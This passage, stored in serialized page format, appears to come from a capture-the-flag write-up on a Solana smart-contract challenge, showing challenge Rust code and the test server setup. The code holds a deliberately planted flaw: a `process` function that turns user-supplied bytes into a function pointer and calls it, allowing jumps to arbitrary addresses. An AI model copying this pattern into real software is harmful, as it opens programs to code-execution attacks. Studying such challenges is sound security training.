ix",{"type":22,"tag":264,"props":42320,"children":42321},{"style":4309},[42322],{"type":27,"value":4312},{"type":22,"tag":264,"props":42324,"children":42325},{"style":4722},[42326],{"type":27,"value":42327}," Instruction",{"type":22,"tag":264,"props":42329,"children":42330},{"style":1539},[42331],{"type":27,"value":4594},{"type":22,"tag":264,"props":42333,"children":42334},{"class":1534,"line":1569},[42335,42340,42344,42349,42353,42358],{"type":22,"tag":264,"props":42336,"children":42337},{"style":1549},[42338],{"type":27,"value":42339},"        program_id",{"type":22,"tag":264,"props":42341,"children":42342},{"style":4309},[42343],{"type":27,"value":5785},{"type":22,"tag":264,"props":42345,"children":42346},{"style":4401},[42347],{"type":27,"value":42348}," pubkey!",{"type":22,"tag":264,"props":42350,"children":42351},{"style":1539},[42352],{"type":27,"value":2660},{"type":22,"tag":264,"props":42354,"children":42355},{"style":1597},[42356],{"type":27,"value":42357},"\"osecio5555555555555551111111111111111111111\"",{"type":22,"tag":264,"props":42359,"children":42360},{"style":1539},[42361],{"type":27,"value":8029},{"type":22,"tag":264,"props":42363,"children":42364},{"class":1534,"line":1583},[42365,42370,42374,42378,42382,42386,42390,42394,42398],{"type":22,"tag":264,"props":42366,"children":42367},{"style":1549},[42368],{"type":27,"value":42369},"        data",{"type":22,"tag":264,"props":42371,"children":42372},{"style":4309},[42373],{"type":27,"value":5785},{"type":22,"tag":264,"props":42375,"children":42376},{"style":1549},[42377],{"type":27,"value":16404},{"type":22,"tag":264,"props":42379,"children":42380},{"style":4309},[42381],{"type":27,"value":210},{"type":22,"tag":264,"props":42383,"children":42384},{"style":4401},[42385],{"type":27,"value":27474},{"type":22,"tag":264,"props":42387,"children":42388},{"style":1539},[42389],{"type":27,"value":15178},{"type":22,"tag":264,"props":42391,"children":42392},{"style":4309},[42393],{"type":27,"value":210},{"type":22,"tag":264,"props":42395,"children":42396},{"style":4401},[42397],{"type":27,"value":4972},{"type":22,"tag":264,"props":42399,"children":42400},{"style":1539},[42401],{"type":27,"value":4795},{"type":22,"tag":264,"props":42403,"children":42404},{"class":1534,"line":1603},[42405,42410,42414,42418],{"type":22,"tag":264,"props":42406,"children":42407},{"style":1549},[42408],{"type":27,"value":42409},"        accounts",{"type":22,"tag":264,"props":42411,"children":42412},{"style":4309},[42413],{"type":27,"value":5785},{"type":22,"tag":264,"props":42415,"children":42416},{"style":4401},[42417],{"type":27,"value":5040},{"type":22,"tag":264,"props":42419,"children":42420},{"style":1539},[42421],{"type":27,"value":42422},"[]\n",{"type":22,"tag":264,"props":42424,"children":42425},{"class":1534,"line":1612},[42426],{"type":22,"tag":264,"props":42427,"children":42428},{"style":1539},[42429],{"type":27,"value":40311},{"type":22,"tag":264,"props":42431,"children":42432},{"class":1534,"line":1621},[42433],{"type":22,"tag":264,"props":42434,"children":42435},{"emptyLinePlaceholder":17},[42436],{"type":27,"value":4986},{"type":22,"tag":264,"props":42438,"children":42439},{"class":1534,"line":1629},[42440,42445],{"type":22,"tag":264,"props":42441,"children":42442},{"style":4401},[42443],{"type":27,"value":42444},"    invoke_signed_unchecked",{"type":22,"tag":264,"props":42446,"children":42447},{"style":1539},[42448],{"type":27,"value":4767},{"type":22,"tag":264,"props":42450,"children":42451},{"class":1534,"line":1642},[42452,42456,42461],{"type":22,"tag":264,"props":42453,"children":42454},{"style":4309},[42455],{"type":27,"value":4775},{"type":22,"tag":264,"props":42457,"children":42458},{"style":1549},[42459],{"type":27,"value":42460},"ix",{"type":22,"tag":264,"props":42462,"children":42463},{"style":1539},[42464],{"type":27,"value":4812},{"type":22,"tag":264,"props":42466,"children":42467},{"class":1534,"line":1660},[42468,42472],{"type":22,"tag":264,"props":42469,"children":42470},{"style":4309},[42471],{"type":27,"value":4775},{"type":22,"tag":264,"props":42473,"children":42474},{"style":1539},[42475],{"type":27,"value":42476},"[],\n",{"type":22,"tag":264,"props":42478,"children":42479},{"class":1534,"line":1668},[42480,42484],{"type":22,"tag":264,"props":42481,"children":42482},{"style":4309},[42483],{"type":27,"value":4775},{"type":22,"tag":264,"props":42485,"children":42486},{"style":1539},[42487],{"type":27,"value":42476},{"type":22,"tag":264,"props":42489,"children":42490},{"class":1534,"line":1677},[42491,42495,42499,42503],{"type":22,"tag":264,"props":42492,"children":42493},{"style":1539},[42494],{"type":27,"value":4963},{"type":22,"tag":264,"props":42496,"children":42497},{"style":4309},[42498],{"type":27,"value":210},{"type":22,"tag":264,"props":42500,"children":42501},{"style":4401},[42502],{"type":27,"value":4972},{"type":22,"tag":264,"props":42504,"children":42505},{"style":1539},[42506],{"type":27,"value":4977},{"type":22,"tag":264,"props":42508,"children":42509},{"class":1534,"line":1686},[42510],{"type":22,"tag":264,"props":42511,"children":42512},{"style":1539},[42513],{"type":27,"value":1692},{"type":22,"tag":1867,"props":42515,"children":42516},{"start":1560},[42517],{"type":22,"tag":1871,"props":42518,"children":42519},{},[42520,42522,42528],{"type":27,"value":42521},"Finally, if ",{"type":22,"tag":257,"props":42523,"children":42525},{"className":42524},[],[42526],{"type":27,"value":42527},"data[0]",{"type":27,"value":42529}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":22,"tag":618,"props":42531,"children":42533},{"className":4274,"code":42532,"language":4273,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[42534],{"type":22,"tag":257,"props":42535,"children":42536},{"__ignoreMap":7},[42537,42544,42592,42603,42723,42838,42857,42864,42899,42906,43025,43140,43159,43166],{"type":22,"tag":264,"props":42538,"children":42539},{"class":1534,"line":1535},[42540],{"type":22,"tag":264,"props":42541,"children":42542},{"style":1539},[42543],{"type":27,"value":41894},{"type":22,"tag":264,"props":42545,"children":42546},{"class":1534,"line":1545},[42547,42551,42555,42560,42564,42568,42572,42576,42580,42584,42588],{"type":22,"tag":264,"props":42548,"children":42549},{"style":4293},[42550],{"type":27,"value":14989},{"type":22,"tag":264,"props":42552,"children":42553},{"style":4293},[42554],{"type":27,"value":14994},{"type":22,"tag":264,"props":42556,"children":42557},{"style":4401},[42558],{"type":27,"value":42559}," process",{"type":22,"tag":264,"props":42561,"children":42562},{"style":1539},[42563],{"type":27,"value":2660},{"type":22,"tag":264,"props":42565,"children":42566},{"style":4293},[42567],{"type":27,"value":5035},{"type":22,"tag":264,"props":42569,"children":42570},{"style":1549},[42571],{"type":27,"value":16404},{"type":22,"tag":264,"props":42573,"children":42574},{"style":4309},[42575],{"type":27,"value":5785},{"type":22,"tag":264,"props":42577,"children":42578},{"style":4309},[42579],{"type":27,"value":8434},{"type":22,"tag":264,"props":42581,"children":42582},{"style":1539},[42583],{"type":27,"value":5045},{"type":22,"tag":264,"props":42585,"children":42586},{"style":4722},[42587],{"type":27,"value":4725},{"type":22,"tag":264,"props":42589,"children":42590},{"style":1539},[42591],{"type":27,"value":41939},{"type":22,"tag":264,"props":42593,"children":42594},{"class":1534,"line":1560},[42595,42599],{"type":22,"tag":264,"props":42596,"children":42597},{"style":4293},[42598],{"type":27,"value":15132},{"type":22,"tag":264,"props":42600,"children":42601},{"style":1539},[42602],{"type":27,"value":4594},{"type":22,"tag":264,"props":42604,"children":42605},{"class":1534,"line":1569},[42606,42610,42614,42618,42622,42626,42630,42634,42638,42642,42646,42650,42654,42658,42662,42666,42670,42674,42679,42683,42687,42691,42695,42699,42703,42707,42711,42715,42719],{"type":22,"tag":264,"props":42607,"children":42608},{"style":4293},[42609],{"type":27,"value":4365},{"type":22,"tag":264,"props":42611,"children":42612},{"style":1549},[42613],{"type":27,"value":15156},{"type":22,"tag":264,"props":42615,"children":42616},{"style":4309},[42617],{"type":27,"value":4312},{"type":22,"tag":264,"props":42619,"children":42620},{"style":1539},[42621],{"type":27,"value":41970},{"type":22,"tag":264,"props":42623,"children":42624},{"style":4309},[42625],{"type":27,"value":4785},{"type":22,"tag":264,"props":42627,"children":42628},{"style":1539},[42629],{"type":27,"value":41979},{"type":22,"tag":264,"props":42631,"children":42632},{"style":4309},[42633],{"type":27,"value":4785},{"type":22,"tag":264,"props":42635,"children":42636},{"style":4401},[42637],{"type":27,"value":41988},{"type":22,"tag":264,"props":42639,"children":42640},{"style":4309},[42641],{"type":27,"value":4785},{"type":22,"tag":264,"props":42643,"children":42644},{"style":1539},[42645],{"type":27,"value":41997},{"type":22,"tag":264,"props":42647,"children":42648},{"style":4722},[42649],{"type":27,"value":4725},{"type":22,"tag":264,"props":42651,"children":42652},{"style":1539},[42653],{"type":27,"value":18529},{"type":22,"tag":264,"props":42655,"children":42656},{"style":4344},[42657],{"type":27,"value":5378},{"type":22,"tag":264,"props":42659,"children":42660},{"style":1539},[42661],{"type":27,"value":24361},{"type":22,"tag":264,"props":42663,"children":42664},{"style":4293},[42665],{"type":27,"value":21573},{"type":22,"tag":264,"props":42667,"children":42668},{"style":1539},[42669],{"type":27,"value":2660},{"type":22,"tag":264,"props":42671,"children":42672},{"style":4722},[42673],{"type":27,"value":9336},{"type":22,"tag":264,"props":42675,"children":42676},{"style":1539},[42677],{"type":27,"value":42678},")>(",{"type":22,"tag":264,"props":42680,"children":42681},{"style":1549},[42682],{"type":27,"value":5013},{"type":22,"tag":264,"props":42684,"children":42685},{"style":1539},[42686],{"type":27,"value":5045},{"type":22,"tag":264,"props":42688,"children":42689},{"style":4309},[42690],{"type":27,"value":4352},{"type":22,"tag":264,"props":42692,"children":42693},{"style":4344},[42694],{"type":27,"value":5378},{"type":22,"tag":264,"props":42696,"children":42697},{"style":1539},[42698],{"type":27,"value":16710},{"type":22,"tag":264,"props":42700,"children":42701},{"style":4309},[42702],{"type":27,"value":210},{"type":22,"tag":264,"props":42704,"children":42705},{"style":4401},[42706],{"type":27,"value":27474},{"type":22,"tag":264,"props":42708,"children":42709},{"style":1539},[42710],{"type":27,"value":15178},{"type":22,"tag":264,"props":42712,"children":42713},{"style":4309},[42714],{"type":27,"value":210},{"type":22,"tag":264,"props":42716,"children":42717},{"style":4401},[42718],{"type":27,"value":4972},{"type":22,"tag":264,"props":42720,"children":42721},{"style":1539},[42722],{"type":27,"value":16724},{"type":22,"tag":264,"props":42724,"children":42725},{"class":1534,"line":1583},[42726,42730,42734,42738,42742,42746,42750,42754,42758,42762,42766,42770,42774,42778,42782,42786,42790,42794,42798,42802,42806,42810,42814,42818,42822,42826,42830,42834],{"type":22,"tag":264,"props":42727,"children":42728},{"style":4293},[42729],{"type":27,"value":4365},{"type":22,"tag":264,"props":42731,"children":42732},{"style":1549},[42733],{"type":27,"value":42085},{"type":22,"tag":264,"props":42735,"children":42736},{"style":4309},[42737],{"type":27,"value":4312},{"type":22,"tag":264,"props":42739,"children":42740},{"style":1539},[42741],{"type":27,"value":41970},{"type":22,"tag":264,"props":42743,"children":42744},{"style":4309},[42745],{"type":27,"value":4785},{"type":22,"tag":264,"props":42747,"children":42748},{"style":1539},[42749],{"type":27,"value":41979},{"type":22,"tag":264,"props":42751,"children":42752},{"style":4309},[42753],{"type":27,"value":4785},{"type":22,"tag":264,"props":42755,"children":42756},{"style":4401},[42757],{"type":27,"value":41988},{"type":22,"tag":264,"props":42759,"children":42760},{"style":4309},[42761],{"type":27,"value":4785},{"type":22,"tag":264,"props":42763,"children":42764},{"style":1539},[42765],{"type":27,"value":41997},{"type":22,"tag":264,"props":42767,"children":42768},{"style":4722},[42769],{"type":27,"value":4725},{"type":22,"tag":264,"props":42771,"children":42772},{"style":1539},[42773],{"type":27,"value":18529},{"type":22,"tag":264,"props":42775,"children":42776},{"style":4344},[42777],{"type":27,"value":5378},{"type":22,"tag":264,"props":42779,"children":42780},{"style":1539},[42781],{"type":27,"value":24361},{"type":22,"tag":264,"props":42783,"children":42784},{"style":4722},[42785],{"type":27,"value":9336},{"type":22,"tag":264,"props":42787,"children":42788},{"style":1539},[42789],{"type":27,"value":8904},{"type":22,"tag":264,"props":42791,"children":42792},{"style":1549},[42793],{"type":27,"value":5013},{"type":22,"tag":264,"props":42795,"children":42796},{"style":1539},[42797],{"type":27,"value":5045},{"type":22,"tag":264,"props":42799,"children":42800},{"style":4344},[42801],{"type":27,"value":5378},{"type":22,"tag":264,"props":42803,"children":42804},{"style":4309},[42805],{"type":27,"value":4352},{"type":22,"tag":264,"props":42807,"children":42808},{"style":4344},[42809],{"type":27,"value":42162},{"type":22,"tag":264,"props":42811,"children":42812},{"style":1539},[42813],{"type":27,"value":16710},{"type":22,"tag":264,"props":42815,"children":42816},{"style":4309},[42817],{"type":27,"value":210},{"type":22,"tag":264,"props":42819,"children":42820},{"style":4401},[42821],{"type":27,"value":27474},{"type":22,"tag":264,"props":42823,"children":42824},{"style":1539},[42825],{"type":27,"value":15178},{"type":22,"tag":264,"props":42827,"children":42828},{"style":4309},[42829],{"type":27,"value":210},{"type":22,"tag":264,"props":42831,"children":42832},{"style":4401},[42833],{"type":27,"value":4972},{"type":22,"tag":264,"props":42835,"children":42836},{"style":1539},[42837],{"type":27,"value":16724},{"type":22,"tag":264,"props":42839,"children":42840},{"class":1534,"line":1603},[42841,42845,42849,42853],{"type":22,"tag":264,"props":42842,"children":42843},{"style":4401},[42844],{"type":27,"value":42198},{"type":22,"tag":264,"props":42846,"children":42847},{"style":1539},[42848],{"type":27,"value":2660},{"type":22,"tag":264,"props":42850,"children":42851},{"style":1549},[42852],{"type":27,"value":13931},{"type":22,"tag":264,"props":42854,"children":42855},{"style":1539},[42856],{"type":27,"value":5142},{"type":22,"tag":264,"props":42858,"children":42859},{"class":1534,"line":1612},[42860],{"type":22,"tag":264,"props":42861,"children":42862},{"emptyLinePlaceholder":17},[42863],{"type":27,"value":4986},{"type":22,"tag":264,"props":42865,"children":42866},{"class":1534,"line":1621},[42867,42871,42875,42879,42883,42887,42891,42895],{"type":22,"tag":264,"props":42868,"children":42869},{"style":1549},[42870],{"type":27,"value":42369},{"type":22,"tag":264,"props":42872,"children":42873},{"style":4309},[42874],{"type":27,"value":4312},{"type":22,"tag":264,"props":42876,"children":42877},{"style":4309},[42878],{"type":27,"value":8434},{"type":22,"tag":264,"props":42880,"children":42881},{"style":1549},[42882],{"type":27,"value":5013},{"type":22,"tag":264,"props":42884,"children":42885},{"style":1539},[42886],{"type":27,"value":5045},{"type":22,"tag":264,"props":42888,"children":42889},{"style":4344},[42890],{"type":27,"value":42162},{"type":22,"tag":264,"props":42892,"children":42893},{"style":4309},[42894],{"type":27,"value":4352},{"type":22,"tag":264,"props":42896,"children":42897},{"style":1539},[42898],{"type":27,"value":32889},{"type":22,"tag":264,"props":42900,"children":42901},{"class":1534,"line":1629},[42902],{"type":22,"tag":264,"props":42903,"children":42904},{"emptyLinePlaceholder":17},[42905],{"type":27,"value":4986},{"type":22,"tag":264,"props":42907,"children":42908},{"class":1534,"line":1642},[42909,42913,42917,42921,42925,42929,42933,42937,42941,42945,42949,42953,42957,42961,42965,42969,42973,42977,42981,42985,42989,42993,42997,43001,43005,43009,43013,43017,43021],{"type":22,"tag":264,"props":42910,"children":42911},{"style":4293},[42912],{"type":27,"value":4365},{"type":22,"tag":264,"props":42914,"children":42915},{"style":1549},[42916],{"type":27,"value":15156},{"type":22,"tag":264,"props":42918,"children":42919},{"style":4309},[42920],{"type":27,"value":4312},{"type":22,"tag":264,"props":42922,"children":42923},{"style":1539},[42924],{"type":27,"value":41970},{"type":22,"tag":264,"props":42926,"children":42927},{"style":4309},[42928],{"type":27,"value":4785},{"type":22,"tag":264,"props":42930,"children":42931},{"style":1539},[42932],{"type":27,"value":41979},{"type":22,"tag":264,"props":42934,"children":42935},{"style":4309},[42936],{"type":27,"value":4785},{"type":22,"tag":264,"props":42938,"children":42939},{"style":4401},[42940],{"type":27,"value":41988},{"type":22,"tag":264,"props":42942,"children":42943},{"style":4309},[42944],{"type":27,"value":4785},{"type":22,"tag":264,"props":42946,"children":42947},{"style":1539},[42948],{"type":27,"value":41997},{"type":22,"tag":264,"props":42950,"children":42951},{"style":4722},[42952],{"type":27,"value":4725},{"type":22,"tag":264,"props":42954,"children":42955},{"style":1539},[42956],{"type":27,"value":18529},{"type":22,"tag":264,"props":42958,"children":42959},{"style":4344},[42960],{"type":27,"value":5378},{"type":22,"tag":264,"props":42962,"children":42963},{"style":1539},[42964],{"type":27,"value":24361},{"type":22,"tag":264,"props":42966,"children":42967},{"style":4293},[42968],{"type":27,"value":21573},{"type":22,"tag":264,"props":42970,"children":42971},{"style":1539},[42972],{"type":27,"value":2660},{"type":22,"tag":264,"props":42974,"children":42975},{"style":4722},[42976],{"type":27,"value":9336},{"type":22,"tag":264,"props":42978,"children":42979},{"style":1539},[42980],{"type":27,"value":42678},{"type":22,"tag":264,"props":42982,"children":42983},{"style":1549},[42984],{"type":27,"value":5013},{"type":22,"tag":264,"props":42986,"children":42987},{"style":1539},[42988],{"type":27,"value":5045},{"type":22,"tag":264,"props":42990,"children":42991},{"style":4309},[42992],{"type":27,"value":4352},{"type":22,"tag":264,"props":42994,"children":42995},{"style":4344},[42996],{"type":27,"value":5378},{"type":22,"tag":264,"props":42998,"children":42999},{"style":1539},[43000],{"type":27,"value":16710},{"type":22,"tag":264,"props":43002,"children":43003},{"style":4309},[43004],{"type":27,"value":210},{"type":22,"tag":264,"props":43006,"children":43007},{"style":4401},[43008],{"type":27,"value":27474},{"type":22,"tag":264,"props":43010,"children":43011},{"style":1539},[43012],{"type":27,"value":15178},{"type":22,"tag":264,"props":43014,"children":43015},{"style":4309},[43016],{"type":27,"value":210},{"type":22,"tag":264,"props":43018,"children":43019},{"style":4401},[43020],{"type":27,"value":4972},{"type":22,"tag":264,"props":43022,"children":43023},{"style":1539},[43024],{"type":27,"value":16724},{"type":22,"tag":264,"props":43026,"children":43027},{"class":1534,"line":1660},[43028,43032,43036,43040,43044,43048,43052,43056,43060,43064,43068,43072,43076,43080,43084,43088,43092,43096,43100,43104,43108,43112,43116,43120,43124,43128,43132,43136],{"type":22,"tag":264,"props":43029,"children":43030},{"style":4293},[43031],{"type":27,"value":4365},{"type":22,"tag":264,"props":43033,"children":43034},{"style":1549},[43035],{"type":27,"value":42085},{"type":22,"tag":264,"props":43037,"children":43038},{"style":4309},[43039],{"type":27,"value":4312},{"type":22,"tag":264,"props":43041,"children":43042},{"style":1539},[43043],{"type":27,"value":41970},{"type":22,"tag":264,"props":43045,"children":43046},{"style":4309},[43047],{"type":27,"value":4785},{"type":22,"tag":264,"props":43049,"children":43050},{"style":1539},[43051],{"type":27,"value":41979},{"type":22,"tag":264,"props":43053,"children":43054},{"style":4309},[43055],{"type":27,"value":4785},{"type":22,"tag":264,"props":43057,"children":43058},{"style":4401},[43059],{"type":27,"value":41988},{"type":22,"tag":264,"props":43061,"children":43062},{"style":4309},[43063],{"type":27,"value":4785},{"type":22,"tag":264,"props":43065,"children":43066},{"style":1539},[43067],{"type":27,"value":41997},{"type":22,"tag":264,"props":43069,"children":43070},{"style":4722},[43071],{"type":27,"value":4725},{"type":22,"tag":264,"props":43073,"children":43074},{"style":1539},[43075],{"type":27,"value":18529},{"type":22,"tag":264,"props":43077,"children":43078},{"style":4344},[43079],{"type":27,"value":5378},{"type":22,"tag":264,"props":43081,"children":43082},{"style":1539},[43083],{"type":27,"value":24361},{"type":22,"tag":264,"props":43085,"children":43086},{"style":4722},[43087],{"type":27,"value":9336},{"type":22,"tag":264,"props":43089,"children":43090},{"style":1539},[43091],{"type":27,"value":8904},{"type":22,"tag":264,"props":43093,"children":43094},{"style":1549},[43095],{"type":27,"value":5013},{"type":22,"tag":264,"props":43097,"children":43098},{"style":1539},[43099],{"type":27,"value":5045},{"type":22,"tag":264,"props":43101,"children":43102},{"style":4344},[43103],{"type":27,"value":5378},{"type":22,"tag":264,"props":43105,"children":43106},{"style":4309},[43107],{"type":27,"value":4352},{"type":22,"tag":264,"props":43109,"children":43110},{"style":4344},[43111],{"type":27,"value":42162},{"type":22,"tag":264,"props":43113,"children":43114},{"style":1539},[43115],{"type":27,"value":16710},{"type":22,"tag":264,"props":43117,"children":43118},{"style":4309},[43119],{"type":27,"value":210},{"type":22,"tag":264,"props":43121,"children":43122},{"style":4401},[43123],{"type":27,"value":27474},{"type":22,"tag":264,"props":43125,"children":43126},{"style":1539},[43127],{"type":27,"value":15178},{"type":22,"tag":264,"props":43129,"children":43130},{"style":4309},[43131],{"type":27,"value":210},{"type":22,"tag":264,"props":43133,"children":43134},{"style":4401},[43135],{"type":27,"value":4972},{"type":22,"tag":264,"props":43137,"children":43138},{"style":1539},[43139],{"type":27,"value":16724},{"type":22,"tag":264,"props":43141,"children":43142},{"class":1534,"line":1668},[43143,43147,43151,43155],{"type":22,"tag":264,"props":43144,"children":43145},{"style":4401},[43146],{"type":27,"value":42198},{"type":22,"tag":264,"props":43148,"children":43149},{"style":1539},[43150],{"type":27,"value":2660},{"type":22,"tag":264,"props":43152,"children":43153},{"style":1549},[43154],{"type":27,"value":13931},{"type":22,"tag":264,"props":43156,"children":43157},{"style":1539},[43158],{"type":27,"value":5142},{"type":22,"tag":264,"props":43160,"children":43161},{"class":1534,"line":1677},[43162],{"type":22,"tag":264,"props":43163,"children":43164},{"style":1539},[43165],{"type":27,"value":1674},{"type":22,"tag":264,"props":43167,"children":43168},{"class":1534,"line":1686},[43169],{"type":22,"tag":264,"props":43170,"children":43171},{"style":1539},[43172],{"type":27,"value":1692},{"type":22,"tag":181,"props":43174,"children":43176},{"id":43175},"test-environment",[43177],{"type":27,"value":43178},"Test Environment",{"type":22,"tag":23,"props":43180,"children":43181},{},[43182],{"type":27,"value":43183},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":22,"tag":23,"props":43185,"children":43186},{},[43187,43189,43195],{"type":27,"value":43188},"When you connect to the server through a tcp connection, ",{"type":22,"tag":257,"props":43190,"children":43192},{"className":43191},[],[43193],{"type":27,"value":43194},"framework/src/main.rs::handle_connection",{"type":27,"value":43196}," gets executed, which does the following:",{"type":22,"tag":1867,"props":43198,"children":43199},{},[43200],{"type":22,"tag":1871,"props":43201,"children":43202},{},[43203],{"type":27,"value":43204},"Creates a new Solana local node",{"type":22,"tag":618,"props":43206,"children":43208},{"className":4274,"code":43207,"language":4273,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[43209],{"type":22,"tag":257,"props":43210,"children":43211},{"__ignoreMap":7},[43212,43293,43369],{"type":22,"tag":264,"props":43213,"children":43214},{"class":1534,"line":1535},[43215,43219,43223,43228,43232,43237,43241,43246,43250,43255,43259,43264,43268,43272,43276,43281,43285,43289],{"type":22,"tag":264,"props":43216,"children":43217},{"style":4293},[43218],{"type":27,"value":13086},{"type":22,"tag":264,"props":43220,"children":43221},{"style":4293},[43222],{"type":27,"value":4301},{"type":22,"tag":264,"props":43224,"children":43225},{"style":1549},[43226],{"type":27,"value":43227}," builder",{"type":22,"tag":264,"props":43229,"children":43230},{"style":4309},[43231],{"type":27,"value":4312},{"type":22,"tag":264,"props":43233,"children":43234},{"style":4722},[43235],{"type":27,"value":43236}," ChallengeBuilder",{"type":22,"tag":264,"props":43238,"children":43239},{"style":4309},[43240],{"type":27,"value":4785},{"type":22,"tag":264,"props":43242,"children":43243},{"style":4401},[43244],{"type":27,"value":43245},"try_from",{"type":22,"tag":264,"props":43247,"children":43248},{"style":1539},[43249],{"type":27,"value":2660},{"type":22,"tag":264,"props":43251,"children":43252},{"style":1549},[43253],{"type":27,"value":43254},"socket",{"type":22,"tag":264,"props":43256,"children":43257},{"style":4309},[43258],{"type":27,"value":210},{"type":22,"tag":264,"props":43260,"children":43261},{"style":4401},[43262],{"type":27,"value":43263},"try_clone",{"type":22,"tag":264,"props":43265,"children":43266},{"style":1539},[43267],{"type":27,"value":15178},{"type":22,"tag":264,"props":43269,"children":43270},{"style":4309},[43271],{"type":27,"value":210},{"type":22,"tag":264,"props":43273,"children":43274},{"style":4401},[43275],{"type":27,"value":4972},{"type":22,"tag":264,"props":43277,"children":43278},{"style":1539},[43279],{"type":27,"value":43280},"())",{"type":22,"tag":264,"props":43282,"children":43283},{"style":4309},[43284],{"type":27,"value":210},{"type":22,"tag":264,"props":43286,"children":43287},{"style":4401},[43288],{"type":27,"value":4972},{"type":22,"tag":264,"props":43290,"children":43291},{"style":1539},[43292],{"type":27,"value":4977},{"type":22,"tag":264,"props":43294,"children":43295},{"class":1534,"line":1545},[43296,43301,43305,43310,43314,43319,43323,43328,43332,43337,43342,43346,43351,43355,43360,43364],{"type":22,"tag":264,"props":43297,"children":43298},{"style":4401},[43299],{"type":27,"value":43300},"assert!",{"type":22,"tag":264,"props":43302,"children":43303},{"style":1539},[43304],{"type":27,"value":2660},{"type":22,"tag":264,"props":43306,"children":43307},{"style":1549},[43308],{"type":27,"value":43309},"builder",{"type":22,"tag":264,"props":43311,"children":43312},{"style":4309},[43313],{"type":27,"value":210},{"type":22,"tag":264,"props":43315,"children":43316},{"style":4401},[43317],{"type":27,"value":43318},"add_program",{"type":22,"tag":264,"props":43320,"children":43321},{"style":1539},[43322],{"type":27,"value":2660},{"type":22,"tag":264,"props":43324,"children":43325},{"style":1597},[43326],{"type":27,"value":43327},"\"/path/to/chall.so\"",{"type":22,"tag":264,"props":43329,"children":43330},{"style":1539},[43331],{"type":27,"value":4380},{"type":22,"tag":264,"props":43333,"children":43334},{"style":4722},[43335],{"type":27,"value":43336},"Some",{"type":22,"tag":264,"props":43338,"children":43339},{"style":1539},[43340],{"type":27,"value":43341},"(chall",{"type":22,"tag":264,"props":43343,"children":43344},{"style":4309},[43345],{"type":27,"value":4785},{"type":22,"tag":264,"props":43347,"children":43348},{"style":1539},[43349],{"type":27,"value":43350},"ID)) ",{"type":22,"tag":264,"props":43352,"children":43353},{"style":4309},[43354],{"type":27,"value":9870},{"type":22,"tag":264,"props":43356,"children":43357},{"style":1539},[43358],{"type":27,"value":43359}," chall",{"type":22,"tag":264,"props":43361,"children":43362},{"style":4309},[43363],{"type":27,"value":4785},{"type":22,"tag":264,"props":43365,"children":43366},{"style":1539},[43367],{"type":27,"value":43368},"ID);\n",{"type":22,"tag":264,"props":43370,"children":43371},{"class":1534,"line":1560},[43372,43376,43380,43384,43388,43392,43396,43401,43405,43409,43413],{"type":22,"tag":264,"props":43373,"children":43374},{"style":4293},[43375],{"type":27,"value":13086},{"type":22,"tag":264,"props":43377,"children":43378},{"style":4293},[43379],{"type":27,"value":4301},{"type":22,"tag":264,"props":43381,"children":43382},{"style":1549},[43383],{"type":27,"value":43359},{"type":22,"tag":264,"props":43385,"children":43386},{"style":4309},[43387],{"type":27,"value":4312},{"type":22,"tag":264,"props":43389,"children":43390},{"style":1549},[43391],{"type":27,"value":43227},{"type":22,"tag":264,"props":43393,"children":43394},{"style":4309},[43395],{"type":27,"value":210},{"type":22,"tag":264,"props":43397,"children":43398},{"style":4401},[43399],{"type":27,"value":43400},"build",{"type":22,"tag":264,"props":43402,"children":43403},{"style":1539},[43404],{"type":27,"value":15178},{"type":22,"tag":264,"props":43406,"children":43407},{"style":4309},[43408],{"type":27,"value":210},{"type":22,"tag":264,"props":43410,"children":43411},{"style":4328},[43412],{"type":27,"value":34232},{"type":22,"tag":264,"props":43414,"children":43415},{"style":1539},[43416],{"type":27,"value":4322},{"type":22,"tag":1867,"props":43418,"children":43419},{"start":1545},[43420],{"type":22,"tag":1871,"props":43421,"children":43422},{},[43423],{"type":27,"value":43424},"Funds the user account with 100 SOL",{"type":22,"tag":618,"props":43426,"children":43428},{"className":4274,"code":43427,"language":4273,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[43429],{"type":22,"tag":257,"props":43430,"children":43431},{"__ignoreMap":7},[43432,43465,43497,43504,43546,43578,43585,43593,43657,43676,43683],{"type":22,"tag":264,"props":43433,"children":43434},{"class":1534,"line":1535},[43435,43439,43444,43448,43453,43457,43461],{"type":22,"tag":264,"props":43436,"children":43437},{"style":4293},[43438],{"type":27,"value":13086},{"type":22,"tag":264,"props":43440,"children":43441},{"style":1549},[43442],{"type":27,"value":43443}," user_keypair",{"type":22,"tag":264,"props":43445,"children":43446},{"style":4309},[43447],{"type":27,"value":4312},{"type":22,"tag":264,"props":43449,"children":43450},{"style":4722},[43451],{"type":27,"value":43452}," Keypair",{"type":22,"tag":264,"props":43454,"children":43455},{"style":4309},[43456],{"type":27,"value":4785},{"type":22,"tag":264,"props":43458,"children":43459},{"style":4401},[43460],{"type":27,"value":16422},{"type":22,"tag":264,"props":43462,"children":43463},{"style":1539},[43464],{"type":27,"value":4977},{"type":22,"tag":264,"props":43466,"children":43467},{"class":1534,"line":1545},[43468,43472,43477,43481,43485,43489,43493],{"type":22,"tag":264,"props":43469,"children":43470},{"style":4293},[43471],{"type":27,"value":13086},{"type":22,"tag":264,"props":43473,"children":43474},{"style":1549},[43475],{"type":27,"value":43476}," 